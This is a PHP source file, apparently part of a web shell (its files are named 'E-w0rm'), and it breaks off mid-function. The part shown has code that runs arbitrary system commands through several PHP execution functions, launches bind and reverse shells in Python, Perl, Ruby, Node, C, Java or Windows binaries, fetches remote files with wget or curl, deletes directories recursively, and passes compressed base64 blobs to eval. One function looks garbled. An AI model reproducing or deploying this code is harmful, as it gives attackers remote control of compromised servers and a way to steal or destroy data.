$s_arrow = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg==";
$s_dark_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII=";
$s_bright_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg==";
$s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C";
$s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
// Shell system
$s_sortable_js = "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";
// Magic quotes
$s_domready_js = "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw==";

// magic quote and shit :-p
function clean($arr){
	$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
	if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
		if(is_array($arr)){
			foreach($arr as $k=>$v){
				if(is_array($v)) $arr[$k] = clean($v);
				else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
			}
		}
	}
	return $arr;
}
// function read file
function fgc($file){
	return file_get_contents($file);
}
// encryption for shell password
function kript($plain){
		return sha1(md5($plain));
}
function changepass($plain){
	$newpass = kript($plain);
	$newpass = "\$s_pass = \"".$newpass."\";";
	$con = fgc($_SERVER['SCRIPT_FILENAME']);
	$con = preg_replace("/\$s_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con);
	return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
}
function get_code($t, $c){
	global $s_self;
	$c = gzinflate(base64_decode($c));
	if($t=="css"){
		return "<link rel='stylesheet' type='text/css' href='".$s_self."|' />";
		
	}
	elseif($t=="js"){
		return "<script type='text/javascript' src='".$s_self."!'></script>";
	}
}
function showcode($raw){
	$c = gzinflate(base64_decode($raw));
	ob_get_contents();
	ob_end_clean();
	ob_start();
	eval("?>".$c);
	$s_res = ob_get_contents();
	ob_end_clean();
	echo $s_res;
	die();	
}
// addslashes if on windows
function adds($s_s){
	global $s_win;
	return ($s_win)? addslashes($s_s):$s_s;
}
// add slash to the end of given path
function cp($s_p){
	global $s_win;
	if(@is_dir($s_p)){
		$s_x = DS;
		while(substr($s_p, -1) == $s_x) $s_p = rtrim($s_p, $s_x);
		return ($s_win)? preg_replace("/\+/is", "\", $s_p.$s_x):$s_p.$s_x;
	}
	return $s_p;
}
// make link for folder $s_cwd and all of its parent folder
function swd($s_p){
	global $s_self;
	$s_ps = explode(DS,$s_p);
	$s_pu = "";
	for($s_i = 0; $s_i < sizeof($s_ps)-1; $s_i++){
		$s_pz = "";
		for($s_j = 0; $s_j <= $s_i; $s_j++) $s_pz .= $s_ps[$s_j].DS;
		$s_pu .= "<a href='".$s_self."cd=".pl($s_pz)."'>".$s_ps[$s_i]." ".DS." </a>";
	}
	return trim($s_pu);
}
// htmlspecialchars
function hss($s_t){
	//$s_s = htmlspecialchars($s_s, 8);
	return htmlspecialchars($s_t, 2 | 1);
}
// function raw urldecode
function ru($str){
	return (is_array($str))? array_map("rawurldecode", $str):rawurldecode($str);
}
// encode link, htmlspecialchars and rawurlencode
function pl($str){
	return hss(rawurlencode($str));
}
// add quotes
function pf($f){
	return "\"".$f."\"";
}
// replace spaces with underscore ( _ )
function cs($s_t){
	return str_replace(array(" ", "\"", "'"), "_", $s_t);
}
// trim and urldecode
function ss($s_t){
	return rawurldecode($s_t);
}
// return tag html for notif
function notif($s){
	return "<div class='notif'>".$s."</div>";
}
// bind and reverse shell
function rs($s_rstype,$s_rstarget,$s_rscode){
	// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
	$s_result = $s_fpath = "";
	$s_fc = gzinflate(base64_decode($s_rscode));

	$s_errperm = "Directory ".getcwd().DS." is not writable, please change to a writable one";
	$s_errgcc = "Unable to compile using gcc";
	$s_errjavac = "Unable to compile using javac";

	$s_split = explode("_", $s_rstype);
	$s_method = $s_split[0];
	$s_lang = $s_split[1];
	if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){
		if($s_lang=="py") $s_runlang = "python";
		elseif($s_lang=="pl") $s_runlang = "perl";
		elseif($s_lang=="rb") $s_runlang = "ruby";
		elseif($s_lang=="js") $s_runlang = "node";
		$s_fpath = "E-w0rm_rs.".$s_lang;
		if(@is_file($s_fpath)) unlink($s_fpath);
		if($s_file = fopen($s_fpath, "w")){
			fwrite($s_file, $s_fc);
			fclose($s_file);
			if(@is_file($s_fpath)){
				$s_result = exe("chmod +x ".$s_fpath);
				if($s_runlang=="node"){
					if(check_access("node")!==false) $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
					elseif(check_access("nodejs")!==false) $s_result = exe($s_runlang."js ".$s_fpath." ".$s_rstarget);
					
				}
				else $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="c"){
		$s_fpath = "E-w0rm_rs";
		if(@is_file($s_fpath)) unlink($s_fpath);
		if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
		if($s_file = fopen($s_fpath.".c", "w")){
			fwrite($s_file,$s_fc);
			fclose($s_file);
			if(@is_file($s_fpath.".c")){
				$s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath);
				if(@is_file($s_fpath)){
					$s_result = exe("chmod +x ".$s_fpath);
					$s_result = exe("./".$s_fpath." ".$s_rstarget);
				}
				else $s_result = $s_errgcc;
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="win"){
		$s_fpath = "E-w0rm_rs.exe";
		if(@is_file($s_fpath)) unlink($s_fpath);
		if($s_file = fopen($s_fpath,"w")){
			fwrite($s_file,$s_fc);
			fclose($s_file);
			if(@is_file($s_fpath)){
				$s_result = exe($s_fpath." ".$s_rstarget);
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="java"){
		$s_fpath = "E-w0rm_rs";
		if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
		if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
		if($s_file = fopen($s_fpath.".java", "w")){
			fwrite($s_file,$s_fc);
			fclose($s_file);
			if(@is_file($s_fpath.".java")){
				$s_result = exe("javac ".$s_fpath.".java");
				if(@is_file($s_fpath.".class")){
					$s_result = exe("java ".$s_fpath." ".$s_rstarget);
				}
				else $s_result = $s_errjavac;
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="php"){
		$s_result = eval("?>".$s_fc);
	}

	if(@is_file($s_fpath)) unlink($s_fpath);
	if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
	if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
	if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
	if(@is_file($s_fpath."\$pt.class")) unlink($s_fpath."\$pt.class");

	return $s_result;
}
function geol($str){
	$nl = PHP_EOL;
	if(preg_match("/
/", $str, $r)) $nl = "
";
	else{
		if(preg_match("/
/", $str, $r)) $nl = "
";
		elseif(preg_match("/
/", $str, $r)) $nl = "
";
	}
	return bin2hex($nl);
}
// format bit
function ts($s_s){
	if($s_s<=0) return 0;
	$s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
	$s_e = floor(log($s_s)/log(1024));
	return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e))));
}
// get file size
function gs($s_f){
	$s_s = @filesize($s_f);
	if($s_s !== false){
		if($s_s<=0) return 0;
		return ts($s_s);
	}
	else return "???";
}
// get file permissions
function gp($s_f){
	if($s_m = @fileperms($s_f)){
		$s_p = 'u';
		if(($s_m & 0xC000) == 0xC000)$s_p = 's';
		elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l';
		elseif(($s_m & 0x8000) == 0x8000)$s_p = '-';
		elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b';
		elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd';
		elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c';
		elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p';
		$s_p .= ($s_m & 00400)? 'r':'-';
		$s_p .= ($s_m & 00200)? 'w':'-';
		$s_p .= ($s_m & 00100)? 'x':'-';
		$s_p .= ($s_m & 00040)? 'r':'-';
		$s_p .= ($s_m & 00020)? 'w':'-';
		$s_p .= ($s_m & 00010)? 'x':'-';
		$s_p .= ($s_m & 00004)? 'r':'-';
		$s_p .= ($s_m & 00002)? 'w':'-';
		$s_p .= ($s_m & 00001)? 'x':'-';
		return $s_p;
	}
	else return "???????????";
}
// shell command
function exe($s_c){
	$s_out = "";
	$s_c = $s_c." 2>&1";

	if(is_callable('system')) {
		ob_start();
		@system($s_c);
		$s_out = ob_get_contents();
		ob_end_clean();
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('shell_exec')){
		$s_out = @shell_exec($s_c);
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('exec')) {
		@exec($s_c,$s_r);
		if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s;
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('passthru')) {
		ob_start();
		@passthru($s_c);
		$s_out = ob_get_contents();
		ob_end_clean();
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('proc_open')) {
		$s_descriptorspec = array(
			0 => array("pipe", "r"),
			1 => array("pipe", "w"),
			2 => array("pipe", "w"));
		$s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array());
		if (is_resource($s_proc)) {
			while($s_si = fgets($s_pipes[1])) {
				if(!empty($s_si)) $s_out .= $s_si;
			}
			while($s_se = fgets($s_pipes[2])) {
				if(!empty($s_se)) $s_out .= $s_se;
			}
		}
		@proc_close($s_proc);
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('popen')){
		$s_f = @popen($s_c, 'r');
		if($s_f){
			while(!feof($s_f)){
				$s_out .= fread($s_f, 2096);
			}
			pclose($s_f);
		}
		if(!empty($s_out)) return $s_out;
	}
	return "";
}
// delete dir and all of its content (no warning !) xp
function rmdirs($s){
	$s = (substr($s,-1)=='/')? $s:$s.'/';
	if($dh = opendir($s)){
		while(($f = readdir($dh))!==false){
			if(($f!='.')&&($f!='..')){
				$f = $s.$f;
				if(@is_dir($f)) rmdirs($f);
				else @unlink($f);
			}
		}
		closedir($dh);
		@rmdir($s);
	}
}
function copys($s,$d,$c=0){
	if($dh = opendir($s)){
		if(!@is_dir($d)) @mkdir($d);
		while(($f = readdir($dh))!==false){
			if(($f!='.')&&($f!='..')){
				if(@is_dir($s.DS.$f)) copys($s.DS.$f,$d.DS.$f);
				else copy($s.DS.$f,$d.DS.$f);
			}
		}
		closedir($dh);
	}
}
// get array of all files from given directory
function getallfiles($s_dir){
    $s_f = glob($s_dir.'*');
	for($s_i = 0; $s_i<count($s_f); $s_i++){
		if(@is_dir($s_f[$s_i])){
			$s_a = glob($s_f[$s_i].DS.'*');
			if(is_array($s_f) && is_array($s_a)) $s_f = array_merge($s_f, $s_a);
		}
	}
    return $s_f;
}
// download file from internet
function dlfile($s_u,$s_p){
	global $s_wget, $s_lwpdownload, $s_lynx, $s_curl;

	if(!preg_match("/[a-z]+:\/\/.+/",$s_u)) return false;
	$s_n = basename($s_u);

	// try using php functions
	if($s_t = @fgc($s_u)){

		if(@is_file($s_p)) unlink($s_p);
		if($s_f = fopen($s_p,"w")){
			fwrite($s_f, $s_t);
			fclose($s_f);
			if(@is_file($s_p)) return true;
		}
	}
	// using wget
	if($s_wget){
		$buff = exe("wget ".$s_u." -O ".$s_p);
		if(@is_file($s_p)) return true;
	}
	// try using curl
	if($s_curl){
		$buff = exe("curl ".$s_u." -o ".$s_p);
		if(@is_file($s_p)) return true;
	}
	// try using lynx
	if($s_lynx){
		$buff = exe("lynx -source ".$s_u." > ".$s_p);
		if(@is_file($s_p)) return true;
	}
	// try using lwp-download
	if($s_lwpdownload){
		$buff = exe("lwp-download ".$s_u." ".$s_p);
		if(@is_file($s_p)) return true;
	}
	return false;
}
// find writable dir
function get_writabledir(){
	if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TMPDIR")){
		if(@is_writable("/tmp")) $s_d = "/tmp/";
		else if(@is_writable(".")) $s_d = ".".DS;
	}
	return cp($s_d);
}
// zip function
function zip($s_srcarr, $s_dest){
	if(!extension_loaded('zip')) return false;
	if(class_exists("ZipArchive")){
		$s_zip = new ZipArchive();
		if(!$s_zip->open($s_dest, 1)) return false;

		if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr);
		foreach($s_srcarr as $s_src){
			$s_src = str_replace('\', '/', $s_src);
			if(@is_dir($s_src)){
				$s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1);
				foreach($s_files as $s_file){
					$s_file = str_replace('\', '/', $s_file);
					if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue;
					if (@is_dir($s_file)===true)	$s_zip->addEmptyDir(str_replace($s_src.'/', '', $s_file.'/'));
					else if (@is_file($s_file)===true) $s_zip->addFromString(str_replace($s_src.'/', '', $s_file), @fgc($s_file));
				}
			}
			elseif(@is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @fgc($s_src));
		}
		$s_zip->close();
		return true;
	}
}
// check shell permission to access program
function check_access($s_lang){
	$s_s = false;
	$ver = "";
	switch($s_lang){
		case "python":
			$s_cek = strtolower(exe("python -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("python -V");
			break;
		case "perl":
			$s_cek = strtolower(exe("perl -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("perl -e \"print \$]\"");
			break;
		case "ruby":
			$s_cek = strtolower(exe("ruby -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("ruby -v");
			break;
		case "node":
			$s_cek = strtolower(exe("node -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("node -v");
			break;
		case "nodejs":
			$s_cek = strtolower(exe("nodejs -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("nodejs -v");
			break;
		case "gcc":
			$s_cek = strtolower(exe("gcc --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("gcc --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "tar":
			$s_cek = strtolower(exe("tar --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("tar --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "java":
			$s_cek = strtolower(exe("java -help"));
			if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("java -version"));
			break;
		case "javac":
			$s_cek = strtolower(exe("javac -help"));
